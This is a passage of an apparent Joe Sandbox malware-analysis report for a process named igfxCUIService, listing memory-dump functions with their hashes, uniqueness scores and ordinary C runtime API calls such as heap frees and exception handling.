Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a0466fa94846f970d963981f2cee54097b58ad89171fd4084f3e333793f92a66
Instruction ID: bb0ab3e815b3a69f8f4ecba656063053715850fa4e6f9b36b98e4c72ab0f78ae
Opcode Fuzzy Hash: a0466fa94846f970d963981f2cee54097b58ad89171fd4084f3e333793f92a66
Instruction Fuzzy Hash: 71C11272E41204ABDB60DBA8CC83FDA77F8EF09700F144565FA49EB282D6B4D94197B4

Uniqueness

Uniqueness Score: 0.02%

Function 00D39228, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308UNIQUELIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00D39323
type_info::operator==.LIBVCRUNTIME ref: 00D3934A
___TypeMatch.LIBVCRUNTIME ref: 00D39456
IsInExceptionSpec.LIBVCRUNTIME ref: 00D39531
_UnwindNestedFrames.LIBCMT ref: 00D395B8
CallUnexpected.LIBVCRUNTIME ref: 00D395D3

Strings

csm, xrefs: 00D39263
csm, xrefs: 00D392D0
csm, xrefs: 00D39381

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: fcce4f60338aff63c1642cfc1050934616b011c6851584e821389dde02f9106a
Instruction ID: cc36048c6943c62e5f00492ec752ca0167d328f4834b15c3ea054ce0e73e695c
Opcode Fuzzy Hash: fcce4f60338aff63c1642cfc1050934616b011c6851584e821389dde02f9106a
Instruction Fuzzy Hash: 6DC147B1800219EFCF25DFA8D8919AEFBB5EF04310F08415AF8156B252D7B5DA91CBB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D46E55, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D46E6B

Part of subcall function 00D468D3: HeapFree.KERNEL32(00000000,00000000,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?), ref: 00D468E9
Part of subcall function 00D468D3: GetLastError.KERNEL32(?,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?,?), ref: 00D468FB

_free.LIBCMT ref: 00D46E77
_free.LIBCMT ref: 00D46E82
_free.LIBCMT ref: 00D46E8D
_free.LIBCMT ref: 00D46E98
_free.LIBCMT ref: 00D46EA3
_free.LIBCMT ref: 00D46EAE
_free.LIBCMT ref: 00D46EB9
_free.LIBCMT ref: 00D46EC4
_free.LIBCMT ref: 00D46ED2

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ecd1ebe10c6030474237ca878638c30ef078a17363d317cc8ca8c94f0c6e37e9
Instruction ID: b6e6cf6218ebff1fe3b4eb5e91e70ac7cf3a7eeededc773b2316796ae4496372
Opcode Fuzzy Hash: ecd1ebe10c6030474237ca878638c30ef078a17363d317cc8ca8c94f0c6e37e9
Instruction Fuzzy Hash: DB218576D0411CBFCB41EFA4C881DDE7BB9EF09340B0042A6B5169B161DB75EA448BA1

Uniqueness

Uniqueness Score: 0.02%

Function 00D301D0, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 389UNIQUE

Download Yara Rule

Strings

array, xrefs: 00D308F5
,, xrefs: 00D31158
object, xrefs: 00D310E5
object key, xrefs: 00D31067
object separator, xrefs: 00D30FE9
value, xrefs: 00D30F5C

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID: ,$array$object$object key$object separator$value
API String ID: 0-1191195158
Opcode ID: d97f1ac0e94a892bf19948025ac3cdf2d2c775f073f2070ac763032a318eb1cb
Instruction ID: 848de86797410238a9081f8aa742a9cc5a079cae3ad14105a2fa36b64044fb15
Opcode Fuzzy Hash: d97f1ac0e94a892bf19948025ac3cdf2d2c775f073f2070ac763032a318eb1cb
Instruction Fuzzy Hash: 4C027930904258DFDB21DF64C855BEEFBB4BF19304F148199D449A7682DB70AA88CFB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D4D023, Relevance: 13.7, APIs: 9, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4D091
_free.LIBCMT ref: 00D4D09D
_free.LIBCMT ref: 00D4D1C6
_free.LIBCMT ref: 00D4D1D1

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 878e9c5841c591da3b709aaa1df4e88c6314403233c7e49f8a3d6be34a9274dd
Instruction ID: a24e323e8bcf549c1a2e42cae9de154f9ba6a281f926fbcda962a2ef4ddead19
Opcode Fuzzy Hash: 878e9c5841c591da3b709aaa1df4e88c6314403233c7e49f8a3d6be34a9274dd
Instruction Fuzzy Hash: 2961A371900745AFDB20DF64C881BABB7EAEB46310F244569E996EB281EB70DD40CB71

Uniqueness

Uniqueness Score: 0.02%

Function 00D4BE53, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00D4BE7D
_free.LIBCMT ref: 00D4BF56
_free.LIBCMT ref: 00D4BF83

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 66d983d8b719662b9fc094d9e8770de51a68a3dbeb7b26846c20cc9fa49a60a9
Instruction ID: 39320663820526d003a85ae972aa2c1eca5d034ea790199cbc04cfcded8f9e0d
Opcode Fuzzy Hash: 66d983d8b719662b9fc094d9e8770de51a68a3dbeb7b26846c20cc9fa49a60a9
Instruction Fuzzy Hash: FE51F671E05301EFDF24AFB8DC41AAE7BA4EF16320F18416AE51597282EB72C944CB71

Uniqueness

Uniqueness Score: 1.23%

Function 00D369F0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120UNIQUE

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D36A27
___except_validate_context_record.LIBVCRUNTIME ref: 00D36A2F
_ValidateLocalCookies.LIBCMT ref: 00D36AB8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D36AE3
_ValidateLocalCookies.LIBCMT ref: 00D36B38

Strings

csm, xrefs: 00D36ACD

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: a43b723f64beb96c94ef84916997a45369c2d5a72de94ee8341042adf01b8371
Instruction ID: 458a3f057cedecebc6b195e24d932bf14217a25b8dc931bc612b0430fd191a21
Opcode Fuzzy Hash: a43b723f64beb96c94ef84916997a45369c2d5a72de94ee8341042adf01b8371
Instruction Fuzzy Hash: 58415F34A00219AFCF10DF68C885A9EBBB5EF45314F18C155E815AB392D771E915CFB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D4955F, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00D495B6
ext-ms-, xrefs: 00D495CA

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c93a5f2809784a8e9b4a305deccbdd547cf17559685b82dce7786869dc4eb308
Instruction ID: a1c102e1a43f54678f6f1c4e73af500e84c05dac3564db432e3fabf36ed2a65d
Opcode Fuzzy Hash: c93a5f2809784a8e9b4a305deccbdd547cf17559685b82dce7786869dc4eb308
Instruction Fuzzy Hash: 2B21D631A05720ABCB23DB6A9CA5A2BB7589F15761F290620FE46E7395DB34DD00C6F0

Uniqueness

Uniqueness Score: 0.38%

Function 00D4D4E6, Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D4D232: _free.LIBCMT ref: 00D4D257

_free.LIBCMT ref: 00D4D534

Part of subcall function 00D468D3: HeapFree.KERNEL32(00000000,00000000,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?), ref: 00D468E9
Part of subcall function 00D468D3: GetLastError.KERNEL32(?,?,00D4D25C,?,00000000,?,?,?,00D4D4FF,?,00000007,?,?,00D4DA9C,?,?), ref: 00D468FB

_free.LIBCMT ref: 00D4D53F
_free.LIBCMT ref: 00D4D54A
_free.LIBCMT ref: 00D4D59E
_free.LIBCMT ref: 00D4D5A9
_free.LIBCMT ref: 00D4D5B4
_free.LIBCMT ref: 00D4D5BF

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 084be014b57c9f392aec073f6a7128653e534da61f4d2bc4e9e29790ebdef3b4
Instruction ID: 46635caa9dc1242521580c59d0ad70cd9d8bb7f16c9524770506731ae39ef351
Opcode Fuzzy Hash: 084be014b57c9f392aec073f6a7128653e534da61f4d2bc4e9e29790ebdef3b4
Instruction Fuzzy Hash: E0117C31581B44ABD620BBB0DC87FCB779EEF02700F404C25B29AAA092DAB8F5058775

Uniqueness

Uniqueness Score: 0.02%

Function 00D48032, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00D41707,00000000,?), ref: 00D4807A
__fassign.LIBCMT ref: 00D48259
__fassign.LIBCMT ref: 00D48276
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D482BE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D482FE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D483AA

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f250e20d13f1f420bce04a8653f8b623ebedbb53ed99f1eb5400a8656643b02a
Instruction ID: 0b793352faf0718c5f91fef561519b3a71d8306f464e07bd66b8709021be8e4d
Opcode Fuzzy Hash: f250e20d13f1f420bce04a8653f8b623ebedbb53ed99f1eb5400a8656643b02a
Instruction Fuzzy Hash: A7D18AB5D002589FCF15CFA8D9809EDBBB5EF49340F28416AE855FB342DB30A946DB60

Uniqueness

Uniqueness Score: 0.81%

Function 00D2B390, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 491UNIQUE

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00D2B5A7
___std_exception_destroy.LIBVCRUNTIME ref: 00D2B5BD
___std_exception_destroy.LIBVCRUNTIME ref: 00D2B9F7
___std_exception_destroy.LIBVCRUNTIME ref: 00D2BA0D

Strings

value, xrefs: 00D2B4FA, 00D2B93B

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 58c1fce73e7ab1849f9128281837b600caa63b7e7b46a6dc683acc1e60110b14
Instruction ID: 47b97b593e26407874bd01089c3b06d37b1f7faf662a6b85038d3b48bdad7111
Opcode Fuzzy Hash: 58c1fce73e7ab1849f9128281837b600caa63b7e7b46a6dc683acc1e60110b14
Instruction Fuzzy Hash: 0E22B1309002698FDB28CF24D894BEEFBB5AF55314F1482D9D459A7782DBB46A84CF70

Uniqueness

Uniqueness Score: 100.00%

Function 00D29CB0, Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D29CF0
std::_Lockit::_Lockit.LIBCPMT ref: 00D29D12
std::_Lockit::~_Lockit.LIBCPMT ref: 00D29D32
__Getctype.LIBCPMT ref: 00D29DCB
std::_Facet_Register.LIBCPMT ref: 00D29DEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00D29E02

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: eee8a219fa329ea7a6c4e1d2834a278567346e7289b3875944ae383c8e8ac9d7
Instruction ID: 2d672395e98e6eb4d3bca2ca55827135e0df6da2278d17913c50b6633e81bb1f
Opcode Fuzzy Hash: eee8a219fa329ea7a6c4e1d2834a278567346e7289b3875944ae383c8e8ac9d7
Instruction Fuzzy Hash: B841C2719007249FCB10DF58E891AAAF7B4EF24724F188169E805AB391EB70ED45CBF1

Uniqueness

Uniqueness Score: 1.47%

Function 00D38EBA, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D38EB1,00D370D0,00D34FB8), ref: 00D38EC8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D38ED6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D38EEF
SetLastError.KERNEL32(00000000,00D38EB1,00D370D0,00D34FB8), ref: 00D38F41

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6f578b3a19669943ed79fe67f3a61fa9414917f96e976f7cb9a01c7d3abedd7f
Instruction ID: 932afc871eb456264fba511186c9afe761371cde813b61ae457033561861ab96
Opcode Fuzzy Hash: 6f578b3a19669943ed79fe67f3a61fa9414917f96e976f7cb9a01c7d3abedd7f
Instruction Fuzzy Hash: 0601F73621D7215EAB24277DBC85A1A2745EF017B5F24033AF510951E0FFD3CC01A275

Uniqueness

Uniqueness Score: 0.24%

Function 00D39F8E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00D3A04F,?,?,00D6F874,00000000,?,00D3A17A,00000004,InitializeCriticalSectionEx,00D5E0F4,00D5E0FC,00000000), ref: 00D3A01E

Strings

api-ms-, xrefs: 00D39FDE

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d4a28ea1a639407333fda08172cca373aa0ef8b621fed710c5bb8f2a1cc83168
Instruction ID: 73f65357c6e988824561be34761318acaf777f06dffdf2946d414774480afcb9
Opcode Fuzzy Hash: d4a28ea1a639407333fda08172cca373aa0ef8b621fed710c5bb8f2a1cc83168
Instruction Fuzzy Hash: 7811A331B00731ABDB268B6CDC44B5973949F05761F280220EE94EB3C8D7B5ED0086F2

Uniqueness

Uniqueness Score: 1.64%

Function 00D42B9F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderUNIQUELIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00D42B94,00000000,?,00D42B5C,?,?,00000000), ref: 00D42BB4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D42BC7
FreeLibrary.KERNEL32(00000000,?,?,00D42B94,00000000,?,00D42B5C,?,?,00000000), ref: 00D42BEA

Strings

CorExitProcess, xrefs: 00D42BBF
mscoree.dll, xrefs: 00D42BAD

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e194e06803a670e44d5de47e9c79f314003dbe4fde2fd2559b08fa078792031
Instruction ID: b4a45d3a8aa7bf84f5aa4b1e71452286cd48a367c1a4592ee872854cf7697aa3
Opcode Fuzzy Hash: 0e194e06803a670e44d5de47e9c79f314003dbe4fde2fd2559b08fa078792031
Instruction Fuzzy Hash: D8F01231515729FBDB119F55DC0AF9D7B64EF04756F144150FC05E22A4CB709E04EAB2

Uniqueness

Uniqueness Score: 100.00%

Function 00D449EC, Relevance: 7.8, APIs: 5, Instructions: 264COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D46F6D: GetLastError.KERNEL32(00000008,?,00000000,00D4C55A,00D3591B,00D35961,?,00D357A8,00000000), ref: 00D46F72
Part of subcall function 00D46F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00D357A8,00000000), ref: 00D47010

_free.LIBCMT ref: 00D44CF9
_free.LIBCMT ref: 00D44D12
_free.LIBCMT ref: 00D44D50
_free.LIBCMT ref: 00D44D59
_free.LIBCMT ref: 00D44D65

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 346a95f76387a9a5ac49287ee10227d171f767a7a5db4fb9c68c309846660543
Instruction ID: 3fb16c9207eda513fda6c7c0286fa0d3b8073990f3a706261207024834343567
Opcode Fuzzy Hash: 346a95f76387a9a5ac49287ee10227d171f767a7a5db4fb9c68c309846660543
Instruction Fuzzy Hash: 0AB12A75A012199FDB24DF18C889BADB7B4FF48304F1845EAE949A7390D771AE90CF60

Uniqueness

Uniqueness Score: 0.02%

Function 00D543EA, Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00D546A6,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00D5448D
__alloca_probe_16.LIBCMT ref: 00D54543
__alloca_probe_16.LIBCMT ref: 00D545D9
__freea.LIBCMT ref: 00D54644
__freea.LIBCMT ref: 00D54650

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 08f498da20941d0490539929c8044d9599733b771ffea7cc75bfa58fc02d8d8a
Instruction ID: 8d06515ff86be065e1a266bfccaf0a9b1f028a0c5a9a134a5adaa4ce7782a68f
Opcode Fuzzy Hash: 08f498da20941d0490539929c8044d9599733b771ffea7cc75bfa58fc02d8d8a
Instruction Fuzzy Hash: D581D372D00219ABDF209E658881FEF7BB5DF4A31AF1C0155EC54A7241E761CC88CBB2

Uniqueness

Uniqueness Score: 5.06%

Function 00D4FC3E, Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D4FCC2
__alloca_probe_16.LIBCMT ref: 00D4FD88
__freea.LIBCMT ref: 00D4FDF4

Part of subcall function 00D4690D: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D348E0,?,?,00D28B4A,?,?,00D11154), ref: 00D4693F

__freea.LIBCMT ref: 00D4FDFD
__freea.LIBCMT ref: 00D4FE20

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 628a6f9f4ee263efc596f3a3fdab03f6705490c7e86c725320c5cf086cff5853
Instruction ID: 6642fc216f4a5510e5cfbcccf001b2c919fb88df6e1c33c51374261d8816c4d7
Opcode Fuzzy Hash: 628a6f9f4ee263efc596f3a3fdab03f6705490c7e86c725320c5cf086cff5853
Instruction Fuzzy Hash: F451B07290021AABEF259F64CC82EBB36A9EF45760F294139FD05A7161EB70DC5186B0

Uniqueness

Uniqueness Score: 0.98%

Function 00D44561, Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D4690D: RtlAllocateHeap.NTDLL(00000000,?,?,?,00D348E0,?,?,00D28B4A,?,?,00D11154), ref: 00D4693F

_free.LIBCMT ref: 00D44670
_free.LIBCMT ref: 00D44687
_free.LIBCMT ref: 00D446A4
_free.LIBCMT ref: 00D446BF
_free.LIBCMT ref: 00D446D6

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 1f476168361ac1cdd28f085445439a418272701d3a22ce57f6319e6616949949
Instruction ID: d5c1598a3a0781fe71f557590eda45bd29c26217650dad4d15e5b36e49301103
